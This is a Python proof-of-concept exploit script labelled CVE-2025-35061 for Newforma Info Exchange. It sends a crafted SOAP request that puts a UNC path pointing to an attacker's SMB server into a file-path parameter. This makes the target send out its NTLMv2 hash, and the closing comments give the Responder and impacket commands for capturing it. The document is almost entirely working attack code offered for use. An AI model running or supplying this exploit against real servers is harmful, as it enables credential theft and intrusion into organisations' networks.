CVE-2025-35061

#!/usr/bin/env python3 """ CVE-2025-35061 - Newforma Info Exchange (NIX) NTLMv2 Hash Capture PoC This PoC demonstrates how to force NIX server to send NTLMv2 hash to attacker-controlled SMB server. Usage: python3 cve-2025-35061.py <target_url> <attacker_ip> """ import sys import requests import urllib.parse def exploit(target_url, attacker_ip): """ Send a crafted request to the vulnerable endpoint to force SMB authentication """ # The vulnerable endpoint endpoint = f"{target_url}/NPCSRemoteWeb/LegacyIntegrationServices.asmx" # SOAPAction header for the legacy integration service headers = { "Content-Type": "text/xml; charset=utf-8", "SOAPAction": "http://tempuri.org/SomeMethod" } # Construct UNC path pointing to attacker's SMB server # The vulnerable parameter accepts file paths and doesn't validate UNC paths unc_path = f"\\\\{attacker_ip}\\share" # SOAP envelope with malicious file path soap_body = f"""<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/"> <soap:Body> <tem:ProcessFile> <tem:filePath>{unc_path}</tem:filePath> </tem:ProcessFile> </soap:Body> </soap:Envelope>""" print(f"[*] Target: {endpoint}") print(f"[*] Attacker IP: {attacker_ip}") print(f"[*] Sending malicious UNC path: {unc_path}") try: response = requests.post(endpoint, data=soap_body, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response body: {response.text[:500]}") print(f"[+] Exploit sent! Check your SMB listener (e.g., Responder) for NTLMv2 hash.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 cve-2025-35061.py <target_url> <attacker_ip>") print("Example: python3 cve-2025-35061.py https://nix-victim.com 192.168.1.100") sys.exit(1) target = sys.argv[1].rstrip('/') attacker_ip = sys.argv[2] exploit(target, attacker_ip) # To capture the hash on attacker machine, run: # sudo responder -I eth0 -wrf # Or: # impacket-smbserver share /tmp/smb -smb2support

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